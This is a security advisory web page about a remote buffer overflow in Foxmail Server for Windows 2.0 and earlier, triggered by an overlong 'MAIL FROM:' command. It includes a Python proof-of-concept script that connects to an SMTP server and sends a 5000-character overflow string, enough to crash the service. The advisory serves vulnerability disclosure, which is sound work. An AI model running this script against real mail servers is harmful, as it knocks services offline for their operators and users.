Contact | Site en Français               

 


 

Vulnerabilities & Threats

 
  VUPEN Security Advisories
  Linux Security Advisories

  Malware Advisories

  Security Research
  Threat Watch Blog
  Zero-Day Monitor
  Search Engine
  Mailing List & RSS
 
   

>> Foxmail Server "MAIL FROM:" Remote Buffer Overflow Vulnerability

Title : Foxmail Server "MAIL FROM:" Remote Buffer Overflow Vulnerability
VUPEN ID : VUPEN/ADV-2005-0103
CVE ID : CVE-2005-0339
CWE ID : CWE-
Rated as : High Risk 
Remotely Exploitable : Yes
Locally Exploitable : Yes
Release Date : 2005-02-06


Technical Description    Receive VUPEN Security alerts in a Text format  Receive VUPEN Security alerts in a PDF format  Receive VUPEN Security alerts in an XML format  Receive VUPEN Security notifications by SMS 

A new vulnerability was reported in Foxmail Server, it could be exploited by remote attackers to compromise a system or conduct Denial of Service attacks. The flaw occurs when handling malformed "MAIL FROM:" commands, which may be exploited to crash the server or execute arbitrary commands with SYSTEM privileges.

------------------- Proof of Concept ------------------
#!/usr/bin/python
#Code by OYXin
import socket
import sys
import getopt


def usage():
print "Usage: foxserver.py -h host -p port"
sys.exit(0)

if __name__ == '__main__':

try:
opts, args = getopt.getopt(sys.argv[1:], "h:p:")
except getopt.GetoptError, msg:
print msg
usage()

for o,a in opts:
if o in ["-h"]:
host = a
if o in ["-p"]:
port = int(a)

evilbuf = "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
evilbuf += "RCPT-TO: postmaster company mailDATA" + "\r\n"
evilbuf += "Message-ID: 123" + "\r\n"
evilbuf += "ASDF" + "\r\n"
evilbuf += "." + "\r\n"
evilbuf += "QUIT" + "\r\n"
try:
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect((host, port))
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send("HELO localhost\r\n")
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send(evilbuf)
except socket.error, msg:
print msg
sockfd.close()

Affected Products

Foxmail Server for Windows 2.0 and prior

Solution

VUPEN Security is not aware of any official supplied patch for this issue.

References

http://www.vupen.com/english/advisories/2005/0103

Credits

Vulnerability reported by Fortinet

ChangeLog

2005-02-06 : Initial release
2005-02-11 : Updated CVE

Vulnerability Management

Subscribe to VUPEN VNS and receive real-time e-mail and SMS alerts when new advisories or patches relevant to your systems and network configurations are available.

Feedback

If you have additional information or corrections for this security advisory please submit them via our contact form.

 

Vulnerability Alerting

Free 14-Day Trial

 
  Latest News

 

  >> 2009-06-10

     

  VUPEN Security Research
  Discovered Critical Flaws
  in Adobe Acrobat and MS

  Office Word


  >> 2009-06-02

     

  VUPEN Security Research
  Discovered Critical Flaws
  in ACDSee Products


  >> 2009-05-22

     

  VUPEN Discovered Two
  Critical Vulnerabilities in
  Novell GroupWise 8 / 7


  >> 2009-05-12

     

  Microsoft Patched 14
  Office PowerPoint Flaws

 

  >> 2009-04-28

     

  Adobe Reader / Acrobat
  Vulnerabilities
Disclosed

 

 

More Informations    
    








Copyright 2003-2009 © VUPEN.COM - Privacy Policy